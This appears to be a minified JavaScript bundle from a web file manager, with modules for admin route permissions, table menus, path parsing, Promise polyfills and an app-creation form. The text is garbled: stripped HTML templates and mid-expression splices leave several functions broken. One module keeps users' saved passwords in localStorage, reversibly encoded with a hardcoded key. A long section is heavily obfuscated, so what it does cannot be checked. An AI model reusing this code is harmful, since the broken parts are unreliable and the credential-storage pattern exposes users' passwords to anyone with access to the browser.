    ',t+=i["common.copyright.contact"],t+='
    ',t+=n(i["common.version.offlineTips"]),t+='',t+=n(i["common.version.authActiveOffline"]),t+='
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(157));t["default"]=ClassBase.extend({"init":function(){var i=this,e=_.filter(n["default"],function(e,t){return!i.allow(t)}),t=_.values(e).join("\n");$.setStyle(t,"role-auth-check")},"allow":function(e){var t=G.user.role;return 1==G.user.isRoot||!!t&&1==t[e]},"adminAuth":function(e){return!this.adminRouteList[e]||(1==G.user.isRoot||("admin"!=e?this.allow(this.adminRouteList[e]):_.some(G.user.role,function(e,t){return 1==e&&_.startsWith(t,"admin.")})))},"adminAuthCheck":function(e){var t=this;e.find("[link-href]").each(function(){var e=$(this).attr("link-href");t.adminAuth(e)||$(this).remove()}),e.find(".divider").each(function(){$(this).next().hasClass("divider")&&$(this).hide()}),e.find(".submenu .menu-items").each(function(){0==$(this).children().length&&$(this).parent().hide()})},"adminRouteList":{"admin":"---","admin/index":"admin.index.dashboard","admin/setting/index":"admin.index.setting","admin/setting/menu":"admin.index.setting","admin/setting/notice":"admin.index.setting","admin/loginCheck":"admin.index.setting","admin/user":"admin.member.list","admin/role":"admin.role.list","admin/job":"admin.job.list","admin/auth":"admin.auth.list","admin/storage/index":"admin.storage.list","admin/storage/backup":"admin.storage.edit","admin/storage/share":"admin.storage.edit","admin/storage/recycle":"admin.storage.edit","admin/plugin":"admin.plugin.list","admin/logLogin":"admin.index.loginLog","admin/log":"admin.index.log","admin/task":"admin.autoTask.list","admin/server":"admin.index.server"}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s="2&$%@(*@(djfhj1923",a="kodLoginAccount",r="kodAccountInfo",n={"set":function(e,t){var i={"name":authCrypt.encode(e,s),"password":authCrypt.encode(t,s)};LocalData.set(a,jsonEncode(i))},"clear":function(){LocalData.del(a)},"get":function(){var e=LocalData.get(a);if(!e)return!1;var t=jsonDecode(e);if(!t||!t.name||!t.password)return!1;var i=authCrypt.decode(t.name,s),n=authCrypt.decode(t.password,s);return!(!i||!n)&&{"name":i,"password":n}},"getAccount":function(){var e=LocalData.get(r)||"";if(!e)return!1;var t=authCrypt.decode(e,md5(s+r))||"";return jsonDecode(t)},"autoSet":function(e,t,i){var n=jsonEncode({"name":e,"password":t}),a=authCrypt.encode(n,md5(s+r));LocalData.set(r,a),"1"==i?this.set(e,t):this.clear()},"encryPassword":function(e){var t=roundString(5);return t+authCrypt.encode(e,t+s)},"decryPassword":function(e){var t=e.substr(0,5);return authCrypt.decode(e.replace(t,""),t+s)}};t["default"]=n},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var h=function n(e){return e&&e.__esModule?e:{"default":e}}(i(62));t["default"]=ClassBase.extend({"init":function(){},"action":function(e){var t=this;this.listenTo(e,"after.table.make",function(){e.$(".kodTable .list-col.setting .dropdown-box").click(function(){$(this).parents(".list-table").find(".dropdown").hide(),t.expandType($(this).parents(".list-row")),$(this).find(".dropdown").show()})});var i=function i(e){$.targetParent(e,".do-action")||$(".dropdown-box .dropdown").hide()};$(window).bind("click",i),this.bind("onRemove",function(){$(window).unbind("click",i)})},"expandType":function(e){var t=e.find(".dropdown"),i=$(window).height(),n=e.height(),a=e.offset().top,s=$(document).scrollTop(),r=t.height();if(i-(a-s+r+n)<10)return t.removeClass().addClass("dropdown tpTips");var o=a+n;if(e.parents(".kodTable>.content").offset().top+e.parents(".kodTable>.content").height()-o-r<20)return t.removeClass().addClass("dropdown tpTips");t.removeClass().addClass("dropdown btTips")},"make":function(e,t,i){if(!i||!_.isArray(i))i=[{"action":"edit","name":LNG["common.edit"]}];var n="";_.each(i,function(e,t){n+='
  • '+e.name+"
  • "});var a="",s=!0,r=!1,o=undefined;try{for(var l,c=(0,h["default"])(t);!(s=(l=c.next()).done);s=!0){var d=l.value;a+='
  • '+d.name+"
  • "}}catch(u){r=!0,o=u}finally{try{!s&&c["return"]&&c["return"]()}finally{if(r)throw o}}return'
    \n\t\t\t'+n+'\n \n
    "}})},function(t,i,n){var r=n(12);t.exports=function(t,i,n,a){try{return a?i(r(n)[0],n[1]):i(n)}catch(e){var s=t["return"];throw s!==undefined&&r(s.call(t)),e}}},function(e,t,i){var n=i(21),a=i(4)("iterator"),s=Array.prototype;e.exports=function(e){return e!==undefined&&(n.Array===e||s[a]===e)}},function(t,i,n){var r=n(4)("iterator"),o=!1;try{var a=[7][r]();a["return"]=function(){o=!0},Array.from(a,function(){throw 2})}catch(e){}t.exports=function(t,i){if(!i&&!o)return!1;var n=!1;try{var a=[7],s=a[r]();s.next=function(){return{"done":n=!0}},a[r]=function(){return s},t(a)}catch(e){}return n}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.pathParse=undefined;var r,s,n,o,l,c,a,d,u,h,p,f,m=i(13),w=(r={"name":"","needSort":!0},s=G.io,n={},o=function o(e){if(n[e])return n[e];var t={"type":"","id":!1,"path":e};if(e){var i=e.match(/\{(\w+):?(\d|[-\w]+)?\}(.*)/);i&&(t={"type":"{"+i[1]+"}","id":i[2]||!1,"path":trim(e,"/"),"pathLast":i[3]})}return n[e]=t},l=function v(){var e={"KOD_SOURCE":{},"KOD_USER_RECYCLE":{},"KOD_USER_FAV":{"needSort":!1},"KOD_USER_SHARE":{},"KOD_USER_FILE_TAG":{},"KOD_GROUP_ROOT_SELF":{"needSort":!1},"KOD_USER_FILE_TYPE":{},"KOD_USER_SHARE_TO_ME":{},"KOD_SHARE_ITEM":{},"KOD_SEARCH":{},"KOD_BLOCK":{"needSort":!1},"KOD_IO":{},"KOD_USER_RECENT":{"needSort":!1},"KOD_USER_DRIVER":{}},t={};for(var i in e)if(e.hasOwnProperty(i)){var n=s[i],a=$.extend(!0,{},r);t[e[i].type=n]=$.extend(!0,a,e[i])}return t}(),a=function a(e){var t=e.current||{"path":e.thisPath};return(t=$.objClone(t)).targetType&&(t.parentID="0"),t.ioDriver&&(t.icon="io-"+t.ioDriver.toLowerCase()),t.shareUser&&t.shareID&&(t.icon="shareToMe"),f(t)},d=function d(e){for(var t=rtrim(ltrim(e.parentLevel,",0,"),","),i=trim(e.pathDisplay,"/").replace(/\/+/g,"/").split("/"),n=t.split(","),a=[],s=0;s>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return r});var u=function u(e,t){for(var i,n=[],a=0,s="",r="",o=0,l=(e=atob(e))["length"];o'+r+y("0x27e","dNsH");continue;case"1":a[y("0x27f","x(^m")][y("0x280","j0^B")](e[y("0x281","zohi")])[y("0x282","$*Ez")](n);continue;case"2":var a=core[y("0x283","*Mi!")](h,s,LNG[e[y("0x284","fr]L")]]);continue;case"3":var s=e[y("0x285","Abq]")];continue;case"4":var r=LNG[e[y("0x286","fr]L")]];continue}break}},this),c[y("0x287","LXAl")](o[y("0x288","y31R")])[y("0x289","UFeL")](o[y("0x28a","8igK")],function(){if(o[y("0x28b","1GD3")](o[y("0x28c","UFeL")],o[y("0x28d","pJ[F")]))switch(o[y("0x28e","jcCM")]($,this)[y("0x28f","fr]L")](o[y("0x290","y31R")])){case o[y("0x291","&O^e")]:l[y("0x292","DK*#")]();break;case o[y("0x293","paKf")]:window[y("0x294","8igK")](p)}else this[y("0x295","1GD3")](this[y("0x296","x(^m")],0)})},"versionCheckView":function(e){var t={};t[y("0x297",")f3B")]=function(e,t){return e!==t},t[y("0x298","%n*w")]=y("0x299","0Bh7"),t[y("0x29a","jcCM")]=y("0x29b","6!SB"),t[y("0x29c","qSmU")]=function(e,t){return e<=t},t[y("0x29d","j0^B")]=function(e){return e()},t[y("0x29e","zohi")]=y("0x29f","ZA1l"),t[y("0x2a0","2^wV")]=function(e,t){return e+t},t[y("0x2a1","RNrS")]=function(e,t){return e+t},t[y("0x2a2","92hF")]=function(e,t){return e(t)},t[y("0x2a3","^e$v")]=y("0x2a4",")f3B"),t[y("0x2a5","zohi")]=function(e,t){return e!=t},t[y("0x2a6","Abq]")]=function(e,t){return e+t},t[y("0x2a7","y31R")]=function(e,t){return e!==t},t[y("0x2a8","DK*#")]=y("0x2a9","^)v!"),t[y("0x2aa","RMY8")]=y("0x2ab","ms97"),t[y("0x2ac","^)v!")]=y("0x2ad","8igK"),t[y("0x2ae","H$3O")]=y("0x2af","2^wV");var i=G[y("0x2b0","H$3O")];if(i[y("0x2b1","fr]L")]&&!(e[y("0x2b2","gVqB")](t[y("0x2b3","0Bh7")])[y("0x2b4","zohi")]()||i[y("0x2b5","DK*#")]&&t[y("0x2b6","F)fe")](i[y("0x2b7","^e$v")],t[y("0x2b8","6!SB")](time)))){var n=LNG[t[y("0x2b9","^)v!")]],a=t[y("0x2ba","i1H]")](t[y("0x2bb","HnbT")](y("0x2bc","jcCM"),n),y("0x2bd","dNsH"));t[y("0x2be","gNBs")]($,a)[y("0x2bf","%n*w")](e[y("0x2c0","%n*w")](t[y("0x2c1","&O^e")])),t[y("0x2c2","ms97")](t[y("0x2c3","H$3O")](i[y("0x2c4","ms97")][y("0x2c5","qSmU")],i[y("0x2c6","F)fe")][y("0x2c7","RMY8")]),t[y("0x2c8","jcCM")](i[y("0x2c9","!tH[")],i[y("0x2ca",")f3B")]))&&(t[y("0x2cb","1GD3")](t[y("0x2cc","RMY8")],t[y("0x2cd","x(^m")])?e[y("0x2b2","gVqB")](t[y("0x2ce","$*Ez")])[y("0x2cf","47pT")](t[y("0x2d0","x(^m")]):G[y("0x2d1","YW[5")][y("0x2d2","Uu@U")]=""),e[y("0x2d3","qSmU")](t[y("0x2d4","1GD3")])[y("0x2d5","LXAl")](t[y("0x2d6","LXAl")],function(){if(t[y("0x2d7","gVqB")](t[y("0x2d8","^Z8E")],t[y("0x2d9","*Mi!")]))return this[y("0x2da","X7Jt")]();i[y("0x2db","*Mi!")][y("0x2dc","i1H]")](!0)})}},"autoTaskList":function(e){var t={};t[y("0x2dd","gVqB")]=function(e,t){return e!==t},t[y("0x2de","qSmU")]=y("0x2df","%n*w"),t[y("0x2e0","j0^B")]=function(e,t){return e==t},t[y("0x2e1","^)v!")]=y("0x2e2","jcCM"),!this[y("0x2e3","%n*w")]()&&e&&e[y("0x2e4","^e$v")]&&_[y("0x2e5","0Bh7")](e[y("0x2e6","DK*#")],function(e){if(t[y("0x2e7","x(^m")](t[y("0x2e8","^e$v")],t[y("0x2e9","vZRE")])){if(!_[y("0x2ea","47pT")](val))return;formItem[key][y("0x2eb","i1H]")]=options[key]||val[y("0x2ec","nqH[")]}else if(t[y("0x2ed","8igK")](e[y("0x2ee","fr]L")],t[y("0x2ef",")f3B")]))return!0})},"menubarViewInit":function(){var e={};if(e[y("0x2f0","fr]L")]=y("0x2f1","2^wV"),e[y("0x2f2","^Z8E")]=function(e,t){return e(t)},e[y("0x2f3","%n*w")]=y("0x2f4","paKf"),!this[y("0x2f5","92hF")]()&&!this["$"](e[y("0x2f6","Abq]")])[y("0x2b4","zohi")]()){var t=y("0x2f7","$*Ez");t=this[y("0x2f8","qSmU")](t,"",!1);e[y("0x2f9","y31R")]($,t)[y("0x2fa","zM]x")](e[y("0x2fb","j0^B")]($,e[y("0x2f3","%n*w")]))}},"requestCheckError":function(e){var t=1'+r+y("0x27e","dNsH");continue;case"3":var r=LNG[e[y("0x393","RMY8")]];continue;case"4":n[y("0x394","nqH[")][y("0x395","1GD3")](e[y("0x396","&O^e")])[y("0x397","pJ[F")](s);continue}break}},"strReverse":function(e){return e[y("0x398","vZRE")]("")[y("0x399","ms97")]()[y("0x39a","dNsH")]("")},"encode":function(e,t,i){var n={};n[y("0x39b","zohi")]=function(e,t){return e!=t},n[y("0x39c","zM]x")]=function(e,t){return e!==t},n[y("0x39d","cfNi")]=y("0x39e","Abq]"),n[y("0x39f","pJ[F")]=function(e,t){return e!==t},n[y("0x3a0","6!SB")]=y("0x3a1","$*Ez"),n[y("0x3a2","0Bh7")]=y("0x3a3","2^wV");try{return n[y("0x3a4","UFeL")](n[y("0x3a5","vZRE")],n[y("0x3a6","^e$v")])?n[y("0x3a7","^)v!")](this[y("0x3a8","fr]L")],"A"):this[y("0x3a9","H$3O")](e,t,i)}catch(a){return!n[y("0x3aa","qPYD")](n[y("0x3ab","gVqB")],n[y("0x3ac","j0^B")])&&this[y("0x3ad","zM]x")](e,t,i)}},"decode":function(e,t,i){var n={};n[y("0x3ae","nqH[")]=function(e,t){return e+t},n[y("0x3af","DK*#")]=y("0x344","zohi"),n[y("0x3b0","Abq]")]=y("0x3b1","EmKe"),n[y("0x3b2","*Mi!")]=function(e,t){return e+t},n[y("0x3b3","0Bh7")]=function(e,t){return e+t},n[y("0x3b4","HnbT")]=function(e,t){return e+t},n[y("0x3b5","0Bh7")]=y("0x3b6","nqH["),n[y("0x3b7","#^ZF")]=y("0x3b8","fr]L"),n[y("0x3b9","X7Jt")]=y("0x3ba","YW[5"),n[y("0x3bb","RNrS")]=y("0x3bc","paKf"),n[y("0x3bd","x(^m")]=function(e,t){return e(t)},n[y("0x3be","paKf")]=function(e,t){return e===t},n[y("0x3bf","ms97")]=y("0x3c0","i1H]"),n[y("0x3c1","Abq]")]=y("0x3c2","j0^B"),n[y("0x3c3","92hF")]=function(e,t){return e!==t},n[y("0x3c4","paKf")]=y("0x3c5","$*Ez"),n[y("0x3c6","vZRE")]=y("0x3c7","^)v!");try{if(!n[y("0x3c8","F)fe")](n[y("0x3c9","LXAl")],n[y("0x3ca","ms97")]))return this[y("0x3d9","RMY8")](e,t,i);if(this[y("0x3cb","zohi")]())return;var a=n[y("0x3cc","^)v!")](n[y("0x3cd",")f3B")],LNG[n[y("0x3ce","LXAl")]]);a+=n[y("0x3cf","cfNi")](n[y("0x3d0","$*Ez")](n[y("0x3d1","x(^m")](n[y("0x3d2","X7Jt")](n[y("0x3d3","pJ[F")],h),n[y("0x3d4","X7Jt")]),LNG[n[y("0x3d5","8igK")]]),n[y("0x3d6","8igK")]),n[y("0x3d7","*Mi!")]($,a)[y("0x3d8","!tH[")]($main)}catch(s){if(n[y("0x3da","F)fe")](n[y("0x3db","i1H]")],n[y("0x3dc","EmKe")]))return!1;new d["default"]}},"encodeString":function(e,t,i){var n={};n[y("0x3dd","cfNi")]=function(e,t,i){return e(t,i)},n[y("0x3de","*Mi!")]=y("0x3df","zM]x"),n[y("0x3e0","j0^B")]=y("0x3e1","jcCM"),n[y("0x3e2","j0^B")]=function(e,t){return e(t)},n[y("0x3e3","H$3O")]=y("0x3e4","gNBs"),n[y("0x3e5","Abq]")]=function(e,t){return e+t},n[y("0x3e6","ms97")]=function(e,t,i){return e(t,i)},n[y("0x3e7","qPYD")]=y("0x3e8","RNrS"),n[y("0x3e9","8igK")]=function(e,t){return e+t},n[y("0x3ea","paKf")]=function(e,t){return e+t},n[y("0x3eb","RMY8")]=function(e,t,i){return e(t,i)},n[y("0x3ec","*Mi!")]=function(e,t){return e+t},n[y("0x3ed","^e$v")]=function(e,t){return e(t)},n[y("0x3ee","ZA1l")]=function(e,t){return e%t},n[y("0x3ef","0Bh7")]=function(e,t){return e+t},n[y("0x3f0","i1H]")]=function(e,t){return e
    ","dragSelectorExclude":".list-row.title","dragStart":function(e){$(e.draggedItem).css({"display":"table"})},"dragEnd":function(){if(!t)return e(n);i.resortData(n,e)}}),this.parent.bind("onRemove",function(){n.dragsort("destroy")})},"resortData":function(e,t){var i=[];e.find(".list-col.setting").each(function(){var e=parseInt($(this).find("[data]").attr("data"));e&&i.push(e)}),_.isEmpty(i)||t(_.join(i,","))}})},function(e,t,i){e.exports={"default":i(238),"__esModule":!0}},function(e,t,i){e.exports={"default":i(239),"__esModule":!0}},function(e,t,i){var n=i(79),a=i(50).concat("length","prototype");t.f=Object.getOwnPropertyNames||function(e){return n(e,a)}},function(e,t,i){var a=i(8),s=i(1),r=i(19);e.exports=function(e,t){var i=(s.Object||{})[e]||Object[e],n={};n[e]=t(i),a(a.S+a.F*r(function(){i(1)}),"Object",n)}},function(e,t,i){var n=i(24);e.exports=Array.isArray||function(e){return"Array"==n(e)}},function(e,t,i){e.exports={"default":i(265),"__esModule":!0}},function(e,t,i){i(57),i(31),i(34),i(125),i(129),i(130),e.exports=i(1).Promise},function(e,t,i){var l=i(44),c=i(39);e.exports=function(o){return function(e,t){var i,n,a=String(c(e)),s=l(t),r=a.length;return s<0||r<=s?o?"":undefined:(i=a.charCodeAt(s))<55296||56319=e.length?(this._t=undefined,a(1)):a(0,"keys"==t?i:"values"==t?e[i]:[i,e[i]])},"values"),s.Arguments=s.Array,n("keys"),n("values"),n("entries")},function(e,t){e.exports=function(){}},function(t,i,n){"use strict";function a(){}function h(e){var t;return!(!v(e)||"function"!=typeof(t=e.then))&&t}function s(u,n){if(!u._n){u._n=!0;var a=u._c;y(function(){for(var c=u._v,d=1==u._s,t=0,i=function(t){var i,n,a,s=d?t.ok:t.fail,r=t.resolve,o=t.reject,l=t.domain;try{s?(d||(2==u._h&&P(u),u._h=1),!0===s?i=c:(l&&l.enter(),i=s(c),l&&(l.exit(),a=!0)),i===t.promise?o(T("Promise-chain cycle")):(n=h(i))?n.call(i,r,o):r(i)):o(c)}catch(e){l&&!a&&l.exit(),o(e)}};a.length>t;)i(a[t++]);u._c=[],u._n=!1,n&&!u._h&&E(u)})}}function r(e){var t=this;t._d||(t._d=!0,(t=t._w||t)._v=e,t._s=2,t._a||(t._a=t._c.slice()),s(t,!0))}var o,l,c,d,u=n(28),p=n(3),f=n(17),m=n(40),w=n(8),v=n(9),g=n(25),x=n(60),b=n(35),C=n(67),D=n(68).set,y=n(127)(),k=n(48),O=n(69),M=n(128),K=n(70),L="Promise",T=p.TypeError,_=p.process,A=_&&_.versions,N=A&&A.v8||"",S=p[L],$="process"==m(_),G=l=k.f,I=!!function(){try{var t=S.resolve(1),i=(t.constructor={})[n(4)("species")]=function(e){e(a,a)};return($||"function"==typeof PromiseRejectionEvent)&&t.then(a)instanceof i&&0!==N.indexOf("6.6")&&-1===M.indexOf("Chrome/66")}catch(e){}}(),E=function(s){D.call(p,function(){var e,t,i,n=s._v,a=j(s);if(a&&(e=O(function(){$?_.emit("unhandledRejection",n,s):(t=p.onunhandledrejection)?t({"promise":s,"reason":n}):(i=p.console)&&i.error&&i.error("Unhandled promise rejection",n)}),s._h=$||j(s)?2:1),s._a=undefined,a&&e.e)throw e.v})},j=function(e){return 1!==e._h&&0===(e._a||e._c).length},P=function(t){D.call(p,function(){var e;$?_.emit("rejectionHandled",t):(e=p.onrejectionhandled)&&e({"promise":t,"reason":t._v})})},R=function(i){var n,a=this;if(!a._d){a._d=!0,a=a._w||a;try{if(a===i)throw T("Promise can't be resolved itself");(n=h(i))?y(function(){var t={"_w":a,"_d":!1};try{n.call(i,f(R,t,1),f(r,t,1))}catch(e){r.call(t,e)}}):(a._v=i,a._s=1,s(a,!1))}catch(e){r.call({"_w":a,"_d":!1},e)}}};I||(S=function(e){x(this,S,L,"_h"),g(e),o.call(this);try{e(f(R,this,1),f(r,this,1))}catch(t){r.call(this,t)}},(o=function(e){this._c=[],this._a=undefined,this._s=0,this._d=!1,this._v=undefined,this._h=0,this._n=!1}).prototype=n(61)(S.prototype,{"then":function(e,t){var i=G(C(this,S));return i.ok="function"!=typeof e||e,i.fail="function"==typeof t&&t,i.domain=$?_.domain:undefined,this._c.push(i),this._a&&this._a.push(i),this._s&&s(this,!1),i.promise},"catch":function(e){return this.then(undefined,e)}}),c=function(){var e=new o;this.promise=e,this.resolve=f(R,e,1),this.reject=f(r,e,1)},k.f=G=function(e){return e===S||e===d?new c(e):l(e)}),w(w.G+w.W+w.F*!I,{"Promise":S}),n(30)(S,L),n(83)(L),d=n(1)[L],w(w.S+w.F*!I,L,{"reject":function(e){var t=G(this);return(0,t.reject)(e),t.promise}}),w(w.S+w.F*(u||!I),L,{"resolve":function(e){return K(u&&this===d?S:this,e)}}),w(w.S+w.F*!(I&&n(103)(function(e){S.all(e)["catch"](a)})),L,{"all":function(e){var r=this,t=G(r),o=t.resolve,l=t.reject,i=O(function(){var n=[],a=0,s=1;b(e,!1,function(e){var t=a++,i=!1;n.push(undefined),s++,r.resolve(e).then(function(e){i||(i=!0,n[t]=e,--s||o(n))},l)}),--s||o(n)});return i.e&&l(i.v),t.promise},"race":function(e){var t=this,i=G(t),n=i.reject,a=O(function(){b(e,!1,function(e){t.resolve(e).then(i.resolve,n)})});return a.e&&n(a.v),i.promise}})},function(e,t){e.exports=function(e,t,i){var n=i===undefined;switch(t.length){case 0:return n?e():e.call(i);case 1:return n?e(t[0]):e.call(i,t[0]);case 2:return n?e(t[0],t[1]):e.call(i,t[0],t[1]);case 3:return n?e(t[0],t[1],t[2]):e.call(i,t[0],t[1],t[2]);case 4:return n?e(t[0],t[1],t[2],t[3]):e.call(i,t[0],t[1],t[2],t[3])}return e.apply(i,t)}},function(t,i,n){var l=n(3),c=n(68).set,d=l.MutationObserver||l.WebKitMutationObserver,u=l.process,h=l.Promise,p="process"==n(24)(u);t.exports=function(){function t(){var t,i;for(p&&(t=u.domain)&&t.exit();n;){i=n.fn,n=n.next;try{i()}catch(e){throw n?s():a=undefined,e}}a=undefined,t&&t.enter()}var n,a,s;if(p)s=function(){u.nextTick(t)};else if(!d||l.navigator&&l.navigator.standalone)if(h&&h.resolve){var i=h.resolve(undefined);s=function(){i.then(t)}}else s=function(){c.call(l,t)};else{var r=!0,o=document.createTextNode("");new d(t).observe(o,{"characterData":!0}),s=function(){o.data=r=!r}}return function(e){var t={"fn":e,"next":undefined};a&&(a.next=t),n||(n=t,s()),a=t}}},function(e,t,i){var n=i(3).navigator;e.exports=n&&n.userAgent||""},function(e,t,i){"use strict";var n=i(8),a=i(1),s=i(3),r=i(67),o=i(70);n(n.P+n.R,"Promise",{"finally":function(t){var i=r(this,a.Promise||s.Promise),e="function"==typeof t;return this.then(e?function(e){return o(i,t()).then(function(){return e})}:t,e?function(e){return o(i,t()).then(function(){throw e})}:t)}})},function(e,t,i){"use strict";var n=i(8),a=i(48),s=i(69);n(n.S,"Promise",{"try":function(e){var t=a.f(this),i=s(e);return(i.e?t.reject:t.resolve)(i.v),t.promise}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){n(),a(),s(),l(),r(),Events.trigger("windowReady");var e=document.createEvent("CustomEvent");e.initCustomEvent("kodReadyView",!0,!0,{"source":window}),document.dispatchEvent(e)};var n=function n(){if($.fn.perfectScroll){var e=function e(){$(".perfectScroll").perfectScroll()};$(window).bind("resize",e),$(window).bind("scoller",e)}},a=function a(){if(!$.isWindowTouch()&&$.fn.poshytip){var e=$("[title]");e.poshytip({"className":"ptips-skin","liveEvents":!0,"slide":!1,"alignTo":"cursor","alignX":"right","alignY":"bottom","showAniDuration":150,"hideAniDuration":200,"offsetY":10,"offsetX":20,"showTimeout":function(){$(".ptips-skin").length;var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},"content":function(e){if(!($(this).hasClass("context-menu-active")||$(this).is(":focus")||e.hasClass("disable")||e.hasClass("disable-title"))){e.addClass("yellow");var t=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));t=i.is("input")||i.is("textarea")?i.val():i.html()}return-1==(t=t||"").indexOf("<")&&-1==t.indexOf(">")&&(t=t.replace(/\n/g,"
    ")),t}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(e).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(e).poshytip("hide"),$(".ptips-skin").remove())})}},s=function s(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},o=function o(){if(!$.isWindowTouch()){var e=[".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":e,"delegate":"body"})}},l=function l(){var e="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(e="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(e,".disable-ripple,.disabled,.disable,.ztree"),o(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(e){return stopPP(e)}),window.API_HOST){$("body").delegate("[link-href]","click",function(e){return r(e,"")}),$("body").delegate("a","click",function(e){"#"==$(this).attr("href")&&e.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(e){if(2==e.which)return r(e,"_blank")});var r=function r(e,t){var i=$(e.currentTarget),n=i.attr("link-href")||"#",a=(t=t||i.attr("target"),_.startsWith(n,"http://")||_.startsWith(n,"https://")),s=n;if(!a){if(n.startsWith("/")||n.startsWith("./"))return 2==e.which||"_blank"==t?window.open(s):void(window.location.href=n);s=$.parseUrl().urlPath+("#"==n?"":"#"+n)}return i.attr("dialog-open")||"dialog"==t?core.openDialog(s,"",htmlEncode(i.text())):a?void("_blank"==t?window.open(s):window.location.href=s):2==e.which||"_blank"==t?window.open(s):void Router.go(n)}}},r=function r(){$.fn.tabCurrent=function(){var e=$(this);if(!e||0==e.length)return this;var t=e.parent(),i=e.outerWidth(),n=e.offset().left-t.offset().left,a=t.children(".tab-item-bar");if(0==a.length)return this;a.data("initTab")||(a.data("initTab",1),a.addClass("no-animate opacity-hidden"),setTimeout(function(){a.removeClass("opacity-hidden"),t.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){t.children(".tab-item").filter(".active").tabCurrent(),a.removeClass("no-animate")},300)),i=1*e.width(),n+=(e.outerWidth()-i)/2;var s=t.offset().top+t.outerHeight(),r=e.offset().top+e.outerHeight(),o={"width":i+"px","left":n+"px","transform":"translate3d(0px,-"+Math.abs(s-r+1)+"px, 0px)"};a.css(o),t.children(".tab-item").removeClass("active"),e.addClass("active");var l=t.parent().children(".tab-group-pan").children(".tab-content");if(0!=l.length){var c=l.filter(":visible"),d=l.filter("."+e.attr("tab-name"));c.switchTo(d)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var e=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",e),$.isWindowTouch()&&c()},c=function c(){}},function(t,i){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}t.exports=n},function(e,t,i){var n=i(9);e.exports=function(e,t){if(!n(e)||e._t!==t)throw TypeError("Incompatible receiver, "+t+" required!");return e}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","display":LNG["explorer.app.name"],"require":1,"attr":{"placeholder":LNG["explorer.app.nameDesc"]}},"desc":{"type":"input","display":LNG["explorer.app.desc"],"attr":{"placeholder":LNG["explorer.app.descDesc"]}},"group":{"type":"select","display":LNG["explorer.app.group"],"attr":{"placeholder":LNG["common.select"]},"info":{},"require":1},"type":{"type":"segment","value":"url","className":"hide","display":LNG["explorer.app.appType"],"info":{"url":""+LNG["explorer.app.website"],"js":""+LNG["explorer.app.code"]},"switchItem":{"path":"value-path,pathType","url":"value-url,openType","js":"value-js"}},"icon":{"type":"fileSelect","display":LNG["explorer.app.imgIcon"],"value":"oexe.png","info":{"single":"1","type":"file","makeUrl":"1","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]}},"sep003":"
    ","value-path":{"type":"input","display":LNG["explorer.app.path"],"desc":"
    "+LNG["explorer.app.pathDesc"]+"
    "},"pathType":{"type":"hide","value":"folder","className":"hide"},"ext":{"type":"hide","className":"hide"},"value-url":{"type":"input","display":LNG["explorer.app.link"],"require":1,"attr":{"placeholder":LNG["explorer.app.linkDesc"]}},"openType":{"type":"segment","value":"window","display":LNG["explorer.app.openType"],"info":{"window":""+LNG["explorer.app.openWindow"],"dialog":""+LNG["explorer.app.openDialog"]},"switchItem":{"window":"","dialog":"width,height,resize,simple"}},"width":{"type":"input","display":LNG["explorer.app.dialogSize"],"value":"80%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.with"]},"height":{"type":"input","value":"70%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.height"]},"sep002":"
    ","resize":{"type":"checkbox","display":LNG["explorer.app.moreSet"],"value":"1","className":"inline","info":{"1":LNG["explorer.app.canDiyWith"]}},"simple":{"type":"checkbox","value":"0","className":"inline","info":{"1":LNG["explorer.app.miniBlock"]}},"value-js":{"type":"codeEditor","display":LNG["explorer.app.runCode"],"className":"clear","require":1,"attr":{"data-ext":"js","data-theme":"tomorrow","style":"height:180px;","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"setValue":function(e,t){e.parent().find('button[data-value="'+t+'"]').click()},"bindForm":function(e){var t=this.$(".form-button button"),a="active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first().find("input"),i=$(this).attr("data-value"),n=_.filter(t.val().split(","));$(this).hasClass(a)?(n=_.pull(n,i),$(this).removeClass(a)):(n.push(i),$(this).addClass(a)),t.val(n.join(",")).trigger("change")}),e&&e()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(6)),s=r(i(7));function r(e){return 